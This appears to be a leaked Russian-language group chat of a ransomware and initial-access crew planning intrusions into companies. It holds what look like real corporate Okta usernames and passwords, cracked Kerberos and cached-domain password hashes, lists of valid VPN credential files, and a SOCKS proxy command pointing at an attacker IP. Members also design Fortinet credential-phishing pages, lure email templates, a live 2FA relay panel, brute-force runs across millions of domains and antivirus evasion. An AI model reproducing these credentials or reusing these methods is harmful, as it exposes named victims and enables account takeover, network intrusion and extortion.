Я его работой с 16-17 года обеспечивал, банки, таргеты, короче говоря парень на моем материале ехал )

И тут такое )

и он мне вчера : "эти инвестиции ты с лихвой отбил, не надо прибедняться" =)

он сам не придумает ничего, я ж это знаю ))

По этому накажу, потихоньку выпру его из текущих действий и все :)

Да конечно, я не будут токсичить итп )

просто будет у меня щас получаться, дам понять, что как бы сука ты не благодраная =)

да да)

я ж ни с кого денег не прошу ничего )

в целом я тебе скажу народ такой, я и в других сферах таких же встречаю

ну я смотрю, тут вот заходит на айпишник

просто тут вроде и дружба и все такое )))

а редиректит часто к okta.com

https://hitachivantara.okta.com/ (207.126.242.148:443)

типа такого

еще есть разные версии

и вроде запросы на авторизации разные

а когда деловые отношения, там всегда все проще, нет эмоций, сделал задачи - красавчик, не сделал идешь нахуй )

ну начну с этой версии https://rescoproducts.okta.com

> <@usernamegg:matrix.bestflowers247.online> думаешь все на одном домене ?

т.е скорее сервера та разные будут

Увы :)

ладно, попробую, заблочат так заблочат

как я понял, часто очень сделать `{Поддомен комании}.okta.com`

В плане ахуевать ?

Тоже рост аппетитов ?

по такому принципу я наверное и соберу мыло и пасс

Ну у тебя тоже подход достаточно жесткий )

Деньги всех и портят, есть такое

Да да, нужно ставить на место :)

Ладно, сеанс психологической поддержки окончен )

Давай работать :)

отпишу как сделаю сокс

* Ладно, сеанс психологической поддержки окончен ) Спасибо )

ok

> <@usernamegg:matrix.bestflowers247.online> и мелкие тоже что бы в пн мы не встали до ночи

да и доступов намного больше с мыла и пасс было

которых крупных

брутятся все пусть чисто крупные компании

окту надеюсь сделать за выходные

а мыло и пасс можно поспрашивать по тем доменам, что я давал

но только у других поставщиков

у которых не брали до этого

+

с мыла и пасса проверяется все подряд, если что

это мой брут сейчас чисто по крупным работает

kekhash.txt

429

окта так отвечать может

https://holley.okta.com

ну короч я пока собираб линки

такого плана

беру домен компании и поставляю в лине

и проверяю есть ли там акта валидная

13млн нужно проверить

сделал авторизацию для окты

собираю пока домены

ну и еще нужно будет по ним найти мыло и пасс

ну к понедельнику надеюсь что-то найду

+

https://usertesting.okta.com tbackey Rootbeer1

находит

https://maryville.okta.com hklockenga1 Tankman28

ладно, в пн сброшу

потому что еще нужно все домены проверить

хм

ща проверю

> <@usernamegg:matrix.bestflowers247.online> https://adaptavist.okta.com slesser Beckham32

Revenue

https://usertesting.okta.com tbackey Rootbeer1 тут подругому идут запросы

другая версия видимо

но странно что мне ответило успехом

ладно, пока одну версию проверю

завтра займусь второй

делаю

краши через раз

да да

я понял

у меня также

ща буду проверять

иногда когда перед тем как придти маяк крашит

а иногда когда уже спавн в другой прроцесс делаеш

его крашит

это другая версию окты, писал выше

для нее подругому нужно будет делать завросы на авторизацию

ща буду только проверять, чтобы она в первую версию не попадала

https://maryville.okta.com cellis5 Nunu1902$

eagleview крупная, но доступ не проверял вручную

https://usertesting.okta.com tbackey Rootbeer1

иногда отвечает успехом, а иногда нет_

)

прикол какой-то

еще и не проверить

этот момент

ладно, вручную все равно же заходите

надеюсь слишком много таких доступов не будет ошибочных

https://hyperice.okta.com ssage 10sage20

еще нашлось

ttps://churchofjesuschrist.okta.com taIrInep PedroSofia2719

* https://churchofjesuschrist.okta.com taIrInep PedroSofia2719

https://runenergy.okta.com merranconnor@runenergy.com Molly123

ну крупные прям

ad_pass.txt

https://claylacy.okta.com jsolley@claylacy.com S@dman133

да

я на выходных буду работать

сто проц мелкая очень

была похожая проблема в пике

https://mutualofomaha.okta.com johnd911@login.mutualofomaha.com Joshd911911@

https://agilent.okta.com mansi_mehra@agilent.com zaq12wsx

сделать выдала валид, но там какбудто 2аф

через майкрософт

---

```

привет

готов к работе

* здесь выдала валид, но там какбудто 2аф

привет

+

*

```

https://farmerbros.okta.com ablaschke@farmerbros.com 1993Viper*

вот это забыл сбросить

короч пусть пока почекается

потом файлом сброшу вечером

или уже в пн сбросить?

`ryanadmin:$DCC2$10240#ryanadmin#371825faa410512b037d924d0ee34527`

Сегодня первый скрипт

сверяем имя

хорошо

https://docs.google.com/spreadsheets/d/1mJ4lkV4zpVx-_4QKuyoz6ImrukpAua4Ck0bkIBT3GlM/edit#gid=0

через 10 минут начинай

принял

```

---

```

---

Hi Arslan

While work is out, if you have something to do today you can take the day off.

Thank you sir. 🤗🫡. Yes Sir, i have studied Chinese language. Today I went with a Chinese officials to help her with translation. She needed to buy air tickets.

image.png

нужно разрешение на комментарии

сдела

🙏😊 wish you too a good day out.

* сделал

спасибо

Till Monday👋

🫡😇😊 sir I shall be ready on time. See you on Monday.

```

$DCC2$10240#admintracy#4ef984119d44dc6363d8dd231ff2beab:Ryandarby1

++

https://76.224.86.74:20443/

+

Вообще есть куча юзерских впнок

у меня есть один поставщик, кидает их постоянно

ну вот как бы логично выглядит отчекать их

я просто до сих пор для себя не понял, насколько хорошо можно двигаться с впнок

ну вот посмотри эту впночку

я кого нибудь посажу прочекать валидные креды этих впн, да дам тебе, заработаем чего нибудь

офнусь, в тг чуть что

вот такого есть много :)

а циско впн ?

че по домам?

tt написал, домена пока нет, я попросил креды, в свободное время на выхах сделаю

ну вот посмотри тогда

короче вчера после запуска либо кобы, либо бота 10ку накатили

ну я найду жирнее )

это ж тест просто

* короче вчера после запуска либо кобы, либо бота, на 10ку накатили дополнтиельный ав

доступ остался только в вин 7

я замониторю

отпускай его если он ради этого там

раньше пн все равно не затестим

рдп есть и цмд есть

но цмд там такой, обрубок

хорошо

у тебя креды есть ?

не отлетела бы до понедельника

а говришь ресурса крутить много :-))))

там админы чистят ))

а не ав по скану убивает

дак у нас лицензия купленная в белую

закончил список

они чистые рмм вычищают )

конектвайз убили же )

по словам оператора 2-й компании, многие работники уже не используют звонки и общаются только через email

из-за этого думаю picked up нет во втором

https://docs.google.com/spreadsheets/d/13wK_63-9AyuE9QAbcy5pzeir4RqzUCboFLW_moQpj1Y/edit#gid=0

> <@iamnurnazarov:matrix.org> из-за этого думаю picked up нет во втором

> <@iamnurnazarov:matrix.org> из-за этого думаю picked up нет во втором

> <@manager361:colorado.su> https://docs.google.com/spreadsheets/d/13wK_63-9AyuE9QAbcy5pzeir4RqzUCboFLW_moQpj1Y/edit#gid=0

а фиш ахуенно сработал =))

image.png

тестовый

корпоративный портал

на след неделе адаптируем красиво под доступы в впн и ситриксы

ну если 2фа нужна лайв панель )

прослал письма с разводкой по внутренней почте

короче вообще все это не проблема

надо выбрать толковые конторы, да забрать с них впнки и ситриксы и монетезировать это

и никакой нахер бот не нужен

у нас есть все это

страницу сделать под сервис ну 1-2 часа работы фронта

Это письма на мыло!

image.png

креды валид, ништяк)

да все работает

тут цена будет низкая таргета, главное механику выработать )

и потенциал развития этой темы огромный.

короче надо докручивать, и решать че то с раскруткой =)

да, это можно еще со звонками совмещать

конверсия будет огонь

ну с ответом у тебя вариантов к действиям не много )

открыть аттач

либо внутри своей компании

подмена отправителя тяжелая штука

лучше регать схожие домены

и в нейме писать то, что тебе нужно

ты не сможешь подменить где проверка стоит, забыл как там она называется

> <@usernamegg:matrix.bestflowers247.online> где ?

From: Luke Turner <lturner@fortinet.com>

аутлук так или иначе показывает только фром

image.png

повтор контактов 320 стр

DMARC - так или иначе будет спасать от спуфинга мыла отправки.

image.png

+

закончил таблицу

много очень автоответчиков на удивление сегодня

добавил номеров

в эту же таблицу? пока что не отображается

всё, принял

закончил

https://docs.google.com/spreadsheets/d/19zAWuai1OjuEzXH9cjBWj8EAkQbmHzHtN8PMvP19gyw/edit#gid=0

принял, начинаю

закончил таблицу

добавил

принял

офисы добавленной в таблицу компании уже закрылись оказывается, могу продолжать звонить

но скорее всего все остальные на автоответчиках останутся

ненужно тогда

будут ли еще таблицы на сегодня?

многие компании раньше обычного как я знаю закрываются просто под конец рабочей недели

добавил еще

принял, начинаю

528 и 622 повторный контакт

закончил, 8 confirmed

ага, я уже отдыхать собираюсь )

пятница, вечер :)

как впночка ?

получилось чего нибудь ?

что они ?))

да, я знаю )

че то я помню, ты ставил на них )

восхищался софтом

=)

как тебе статья ? Интересный подход ?

это вот как раз через окту фишили.

я же раньше на токенках работал, мы как раз все делали через фишинг.

и фишинг со звонками

по этмоу я прекрасно знаю, о чем я говорю

ого )

надо посмотреть что внтури

да

можно через телегу, можно через веб панель

да в целом без разницы

у тебя же это по сути только интерфейс

ну а где крипта с 2фа ?

не, там проблема с биржами, у них приходит код на емайл, где пишется информация о том какая совершается транзакция.

пользователи не дают 2фа, потому что там типа код для вывода 100 бтц на адрес 123123123

ну тут же надо еще привести пользователя на этот фишинг

мы раньше как банки фишили, ключи в гугле типа bankofamerica sign in, и в верхней строчке стояли мы

только проблема в том, что запустит рекламу по таким ключам почти не реально сейчас

пока надо сосредоточиться на на фишинге корп сервисов откуда есть движение в сетку.

если просто слать на емайл, там домены горят пиздец, да доставляешь, но доменов надо будет просто кучу...

на скромных объемах это ок, а на большом объеме тяжело.

на биржи даже не смотри, там нужно заразить комп, что бы реально сделать вывод оттуда.

проще тогда даже нагонять трафик на дрейнер

но это уже нас вообще понесло с профитной темы, непойми куда )

5-10 нормальных впнок или цитриксов )

вполне окей

я тоже сторонник того, что надо от малого к большему.

что они используют тут сложно )

блин, домены есть на сертах )

отчекал, да пошел руками выбрал конторы коотрые тебе интересны

да пошел фишить

да вот два основных

там их ебать сколько в юсе

ну тут уже ничего не сделать

ав везде может стоять и мешать

надо пробовать

там все станет понятно

ну на впнках ты же не можешь на любую тачку зайти, пока у тебя кред нету

первое движение с впнкой, это достать креды

вот креды тут ключевое конечно

креды на впн зачастую будут юзерские

самого простого юзера, вряд ли ты админа на фейк схантишь

ну впнка это время, а вот 2фа кстати если на впн, это капец

времени не будет

ну он же выкинет тебя )

а повторное подклчюение, попросит 2фа

на циско много

я много где встречал MFA

циско есть и лог+пасс аутенфикация

ну я тоже думаю

цитрикс + форти + циско

а то одни деревянные типы ? =)

а в нашей работы наоборот нужно креативить :)

бля )

собери просто форти со скана, выдери линки с сертификата и все )

да можно чет отрисовать

зашел

можно тут, можно их стандартную форму сделать

надо смотреть, что лучше будет

но проблема в том да, что они на стандартную форму и не ходят

да там вроде одна авторизация

окошко такое не взрачное

да это фигня

лого компании закидывать на страницу дело по сути 5 минут

когда можно будет получить оплату за вчерашний день?

все на месте там есть эта сетка

image.png

ща соберу файлы

* все на месте там есть эта сетка, 100% добекапилась

она там была 100% мне кажется у тебя клиент лаганул

бывает

да всё нашел уже залил ща дам ссылку пять сек

```

всё больше ничего не надо?

привет

извиняюсь, не было связи

0x08Df289E0e3b54064B3eF2d5ba6924F04DF6aEA4

113

✅

принял, спасибо

> <@usernamegg:matrix.bestflowers247.online> у них подключение к хоступ вна у каждого по уникальному ликну forti или нет

ну очень неплохая идея... попробуем

> <@usernamegg:matrix.bestflowers247.online> sent an image.

и когда чел введет логин и пасс, в лайв режиме вы увидите это

линки можно делать на впсках с доменами, чтобы был https трафик

единственное не совсем понимаю, что лучше всего в письме на почту отправлять

нужно, чтобы кто-то сверстал красиво письмо с кнопкой(линк на наш линк) от форти, что якобы нужно подтвердить пасс

но вот нужно подумать, что в письме указать

просто если в письме будет что-то про "восстановление пасса", то это думаю подозрительно будет для человека

я бы делал что-то нейтральное

наверное лучше всего будет, чтобы в письме пришло что-то типо "Пришло 1 уведомление от Forti

ну и оформить красиво письмо с кнопкой на наш линк

где уже будет авторизация в форти

еще можно что-то типо "Завершите настройку Forti

привет! слушай, ну now we are talking!

я тебе давно говорил что тебе надо меня использовать по схемам, разводкам, скриптам итд

100% я такое делал. Тут два варианта - можно традиционный, - как ты и пишешь - "завершите настройку" или "обновите". Можно двуступенчатый, когда просят набрать в службу поддержки и уже на звонке ведут.

можно начать с простого. Мы такое с гостом делали для краудстрайка летом 2022го

И Майкрософт азур

Единственное, мне верстальщик понадобиться, потому что, чтобы всё смотрелось аккуратно, нужен человек с навыком

> где уже будет авторизация в форти

* > где уже будет авторизация в форти

верстальщик для формы

но судя по всему она уже есть у тебя

тогда не нужен

ну и сделать красиво, чтобы при рассылке логотип форти не начинал хаотично смещаться по форме письма итд

да, ты знаешь, мне нравится больше твоя идея про "1 уведомление" чем про обновления

> <@usernamess:matrix.bestflowers247.online> ```

принял

транза до сих пор не дошла

image.png

там комиссии сейчас огромные из-за халвинга

видимо к пн дойдет только

привет кстати)

> <@usernameyy:matrix.bestflowers247.online> sent an image.

```

* ```

```

* ```

а можно я приеду? а то мне скучно дома сидеть

AUTH_VALID.txt

FORTI_VALID.txt

SONIC_VALID.txt

CISCO_VALID_ITEMS.txt

CIT_AUTH_VALID1.txt

SOPHOS_VALID.txt

VALID_BRUT_CISCO.txt

VALID_BRUT_SONIC.txt

VALID_BRUT_RDWEB.txt

OKTA_VALID.txt

WG_VALID.txt

Доброе утро!

`$krb5tgs$23$*Administrador$ayesa.es$MSSQLSvc/VMSdeskBD.ayesa.es:1433@ayesa.es*$5B6AFA95D7B3AE029C32EF5120CA56AE$BC30B7BAC542F64C495D6418EE792292D6AAA32E70815D5C1E7243271C934F817E3E53BD2819942E24753FEC255AA0B27DB27D175E2A0964D2BD4453E0CA04AAE6D9ED5EA531974381DA0F316D92824298DA04DE12001155C34F90DA1DC7A48CE226694E6C10A509D840C86DBD7649F7B659B99BC9750942A3D2799E301CFE696BB659A66DF70E2A2228453BCC8C3A2705EBF958093A67652AFFD32CC9351D36C865D1952C74BE01B2CED23236FA49431C9DD4E5A23522A1EE6F4E549E0A73943AAF557C638D7CA9806C8B4C6F585892C0205077123134F6D2CB25A50548DCDEECB01C38B053AC716B5AC6598E1682BC5B691391AE0E8DCE5CA4D94C9E7CA8D97104E3BECE45166AAC80A19CDCCD66A26173946CE9F4C26A7360F85D1F227F8E51AFD183244D6130E847AF52FE1A9AD7133D62520B5379B30D3DD1DDB28724256A1E91C5CB0871B4B714E6E1774DA8BAD062D5C4C4F238CD502080AB342475B9170FB9A62683D6FB6AF287B6936464C58822B7E0BB37ACD10735F1B547FB6601FF18CBC613ED7E81F7AB1180038CFBA72664806DC6193675EF44115DE385464DE987EC3959834C21603590CEE6D843421DC8744F34E679EC813B7E55110038F1346B047764277AB842394C3B5A0529DA98877E0CA0629FAC88CE88D130ADF236326310C822CAB6A06D09153BA8687A948BD67B596170FE447614E37F8652E6E08B79D556999473EEF74B913E5A0D2122966A4C1867865ACAB518DBACD7282B026E4DB370B99B46FF57E349DDB78F0CF2634B9F8128DA9E9F24DB303D369E137C9785109224BD4F762B4B82B5A51F5FD5C59EDDBE1F196450FB82DA06CC2C0CFF927343EEF983672C2F49418BD133E1F0F38A04CCEAF1B723858F055B0009DCD68E6E7861A9355E8583C37190D1BDDDCB89C291A12CAFA8ED6896DB74F09018ADF9DEC0A8526BD9BC3506F47D6882CAECA177B5BAFEEAFE077E2DE53F1EBDB23190C6642FA1CD990B80D16D6604E7E9B3CAB4BDDDB1EBA9DBA52ED605312E9A47022FA413C9A22DCAA5DAAA1B0727C25DBA8B98BE96E6CA1BF8AE34770167EE6020E77523B778AAB32A9502ED8A7594223CBE4F7137825EE378A08CE5074A1B0E042F0B72BA94F7F2BC49D1E5EA50AD96A77C034F29B422732426CAF4FE0A5CF516B97F431667F08548D1DF99E22274AE6B8BE8BF468C5EFB55E9C2FE406F31002F925A6E7029A5ABC1FF0A35BEDE844D5DCAC430523BEABE2AC3B68B4D30A0D5C561DEB4F859EDC635E6D4F89C20A1A1D9B5D7DE852E728491DCCAD5BAE47FDD2F4C9B59CD90E54C8AB041474E386F8E91E7AA177436F3552AD78284E363CCECB52A8938554CF1D597D1AEAAECF8AC7190F3F8B39D7C0EFFF4A20C0DA9BF6ED4429712E2B27A7AC047E412F3F41492013F26EFEDC520095421D52822C80C2104CA4F4DBFC80E5E175F42C3117036BF2D4E3CFBCCF53D32CB47F692A7499D2DB1D1B3A497DE33F5F38DA088D1EE5FB3D1C4CAD2D7E720BC5F81EE33EF636D24DEB6A3D8978A4593B26EDF8E7376961D042D373B1B045553129CCDAFA324B3CA1E3EBA517E3078275AD2B773D9C879A9D685B352D765698AC7854E308A8D799FF16150EBC15BAA267D243472835DA01030AB7857C97F034B77D269BE41BEFF6CBF44C3F21A1EE02602271C90BEBD9399987C5902CFA62F98B31A57425F1F80249D96BEFDC6B2B822F5CB67A101576184E146CA5EE8D207A636104BECA104F8F16C8743DCEB04CB6AF0A74B8DABDFE19E96E5E8FE05F1C9E2117C230DF42DA862696B8BAEB2F406C7AD2D14C94D0C46A13FE28BCC611346A94BD0E06048FDD78A1A4DD5D6A3E4FE57E059C3097B92AD4E44F545B54E8E006B383BD16F7015FCC97F1800C66CE889CEC7E2F0222309D035480A4512BF2DFE4DF4CDAF2EBD7CC99117A1B5A2A2680FAD813ACC9DC30C5FD699AC7955601F681AD69F005C842CD7F93BF58E123EE7EAB77868401C0B11CF5A052650F75385CD04F8A832FA80DCDC907DA8D2F7D9A72414A1CF698EBA2E17CE9CDB3BDE644A529D116691B38A4CFA7C4C932D534236C9C067E2926336E86FE56E0CAC923F18508A6E9F68D75F9264256F2A6DB66918467CBC163A84EB526FFE548D78EE4E7CB5A52395CD8BC41D360BA2888C1780B45363CB1742F6BEFA427E5E1A8E856EA9A975CF6AA20FCFAA3AF90DA15826CB386637722F2A63D320AA1B046FF54B65CFE1FE82A83FF4309A6B8EF1F915ED3193682B0522232F940851582D53036CAE4F34B156B29E9E0421E0D18743CF8915F288BAE253DEDEDB2856F20C70CFCA6AD17F697D1032BB9CC1A64C938F4B6633A60FED77EF1E765DEA7D68FD3988A0BFF634C3264003777CC2BB00D6099F49283F02AAA3B2B71A8787455DFD555BB0E4C7F629954BD9C98D374A091C3CA4BF3026CA201BEE7C7DC3D847D0FEBFD56E906DDF3EE303BCF3CA866E5DA2C9D313461D40E9DF714D76D205AF5247C355E7F9931F1849D668D49AF2A80770B34F9D23F61CE8BA77266EC73F9043EE0BC288D5D1FCC7F2F6A56E276800175398F6DCB34B8984905CBD8DE9669E5BB1EA8B902B01518F0992AB49EE1572691BB765C6393651577CBCDF5A72972519599E1713643633B5D820D3D10B7106CC9D9E779304C611B3E0A6ECE2B0F9BD7BF6710363BA57DE94CB18E05F1EDEFBF85EC23792BFBAEEA7FB8EAC6124111D999C2107F0E9ADBBC370B71670321E11F49328BE7009E51E5D740AC206FB5FFC5A33E604BC92AA9A9CBE1067690B74B2FC4EA0618678D6A4AB397F054C414FF387FA6ADB45687FB27FA120EBA1400AE979C3FF3C9BF67BC3BF32A2F0907366B7566CE55149705A4621256E744F3713422958A7B9A4F4A73E0B2AD02C92DE3C97C08A733ED7E33D5BF2B1ABBDCB3C2BFDC08DCB788C7BB5AA39BC298E47FAC85256C0FA92938F79622F1D1BFA2836596A629E618F49CBE385D12EBDDE34E5E8C25CEAE396ABA98370B1D55CB77748E73DC548808162B29AA28FFE92FFEA83A265CE37E0228C79CBE0547B5BB558C76AB9DA0382AAA940B1C61482667A1F2D2CF49CF7884808FD7E9C31BFCC272CF3EAFBEA70D24563A743E443D257ACCF1F18354A5267E711155E9B6B7B16B805DBFFBD7B5E38EE34C706AD2C5D6846A936B65A264A3B740A8CD9C44D3AA93AB6217D9D2BABD3F6AF5EAAD85891A4BCD509746CF2433304671990D4132C3672A9267B9184255E5D57E1F78CCFF86EAA725734977BA37CF46D97BC03F18F70A6947F4C629C5D2696F5B4FA2CA079B7567C5AD2E354DE823229EC29EFF074E20452301CB260185145C054C9185C99364E5EF17950490FE7DC750EEA20553D90AAEE64C0977C180C1A1F73522A9F606024A7B0812F3AF6CD90B36F09FD64F749E6E71CFFF8F888306A1825D491F71CE7D4D08DD75491FED49FCBE8A2E2806FDB5AB648AFC48BAB2FD2A4227A1EA485F6E9F33B1899495B8F7BFB48464EF0F3382053644B02CBFCD0CDFDF151EF304FF825DD6ECB08A61BF1C37E29FA4A658E6B24BE445F83849A265C4971E0E36B37C41F56F062803ACA637EF8FCB680676110D88F`

+++ ща поставлю дату загружаться!

```

https://www.bleepingcomputer.com/news/security/ransomware-payments-drop-to-record-low-of-28-percent-in-q1-2024/

все таки локбит пиздабол

он говорил нет изменений

мы вообще топ 2 по выплатам

зря новую басту делали похоже

Возмите тогда впски с доменами. Сделаю форму для авторизации по форти и лайв панель, где будите видеть креды

* Возмите тогда впски с доменами. Сделаю форму для авторизации по форти и лайв панель, где будите видеть креды, которые вводить будут

Но вот html письмо лучше, чтобы кто-то сделал

Нужно затестить powerpick сокса:

либо: Connect-SocksServer -Server "64.176.219.106" -Port 443

привет

бота добиваем сегодня ?

ок, как придут коллеги, так посмотрим что в рмм

если так же 7ка в сети, что тебе сделать ?

socks.ps1

```

работает

+

ну мы пробовали твой файл

у тебя сокс5 есть криптованный ?

image.png

ну в целом да, можно использовать такие шаблоны

попробуем, там 7ка просто, ссш нету встроенного,а у этой рмм не интерактивная цмд

придется танцы с бубном делать

* попробуем, там 7ка просто, ссш нету встроенного,и у этой рмм не интерактивная цмд

но там шаблоны от фейсбука больше

> <@lapa:matrix.bestflowers247.online> sent an image.

ну так если этого можно избежать, и у тебя есть криптованный сокс5, это упрощает задачу)

сервер под соксы еще нужен

> <@usernamegg:matrix.bestflowers247.online> sent an image.

+

а сама форта аавторизации для форти?

* а сама форма аавторизации для форти?

так я о том и говорю

я бы лучше свое все сделал

чтобы вы в панеле видели потом

куда вводить креды

потому что в письмо скорее мне нужно будет вставлять такой линк

в котом будет зашифрован реальный путь к форти компании

потому что вот он введет если не почту

т.е. домена компании не будет

а просто логин

тогда вообще не понять потом, от какой компании он

да он скорее пишет про то, чтобы брать домен, в котором будет ключевое слово forti

нам пока что панель нужно сделать

и письмо

да, html

> <@usernamegg:matrix.bestflowers247.online> он нам сделаем липа ленда с автооизцией с домена

немного странные)

смотрите

вот он сделает

и что

я прошлю его линки

как вы поймете потом куда заходить с этими кредами?

если человеек вдруг введен не почту а просто логин

поэтому и говорю, возмите впски с доменам

нет_

)

> <@lapa:matrix.bestflowers247.online> sent an image.

только с логотипом форти нужно думаю

и текстом другим

человек кливает на кнопку

и переходит на наш впску

для каждого письмо будет свой уникальный линк с параметром

по которому мы поймем, от какой компании человек

чтобы в панельке вы сразу видели куда эти креды вводить в реальный форти

либо можно взять у него панель конечно, чтобы мне не делать

но нужно у него спросить, если человек введет креды

поймете ли вы где искать реальную форти панель

> <@usernamegg:matrix.bestflowers247.online> а как он в эту картинку добавил линк ?

мы и до этого слали html письма

всегда

бляяяя)

ну любое письмо в 90% это будет html

> <@usernamegg:matrix.bestflowers247.online> чего ?)

короч, любое письмо это html

> <@lapa:matrix.bestflowers247.online> sent an image.

но, у почтовика может быть вырублен показ html и тогда покажет просто в тестовом виде письмо наше

но в текстовом варианте письма будет просто наш текст и линк голый

+

так у него нет ничего готового для форти?

понять не могу

> <@usernamegg:matrix.bestflowers247.online> он будет рисовать под каждый впн нам отедльно разводку

там же будет на каждой впнке по сути только форма для авторизации

> <@usernamegg:matrix.bestflowers247.online> и круто что он поднимает лайв панель 2фа где запрашиваешь у бота вылетает аллер для авторизация кода

круто

только вот спросите

`https://login.fortinet.app/auth/code=company.com`

* `https://login.fortinet.app/auth/?code=company.com`

пусть сделать так, чтобы в любой линк я могу вставлять хотябы ?code=company.com

т.е. домен компании

чтобы потом вам понять, где искать реальный форти

я могу тогда сделать у себя панельку, где по домену, вы сможете найти линки на форти компании

пусть тогда все же он сделать

потому что у него 2аф есть

понял, ну можно доработать, быстрее будет, чем мне с нуля делать

> <@usernamegg:matrix.bestflowers247.online> sent an image.

> <@lapa:matrix.bestflowers247.online> `https://login.fortinet.app/auth/?code=company.com`

ну можно и так

login параметр

> <@usernamegg:matrix.bestflowers247.online> sent an image.

тогда code не нужен

например такой домен `forti-main-com.com`

ну впске мне уже не нужны

ему нужны

мне пока нужно написать скрипт, чтобы отсортировать письма, компании у которых есть форти

чтобы чисто по ним слать

да

можно

```

пока письмо верстаю

image.png

ну вот такое можно слать

в письме

только нужно придумать текст

может юрист поможет с тектом ?

текст также нужно сделать несколько в генерируемом формате

`{Did | Were | Have} you {get | receive | obtain | pick up} the {document | file | paperwork | material} I {forwarded | dispatched | sent | shared} to you {yesterday | the previous day | last day}?`

тип таком

kekhash.txt

* ```

```

kekhash.txt

$krb5tgs$23$*SAPServicePUB$intranet.ibermatica$SAPServicePUB/dontcare@intranet.ibermatica*$3d2cf41a14e3e878fb2e3ccff10dbb2d$:12345678

++

$krb5tgs$23$*NAVSERVER$intranet.ibermatica$DynamicsNAV/TRPNAVNORTE:54045@intranet.ibermatica*$3f2be975b0ca1426d1832c29538aa3e9$:NAVSERVER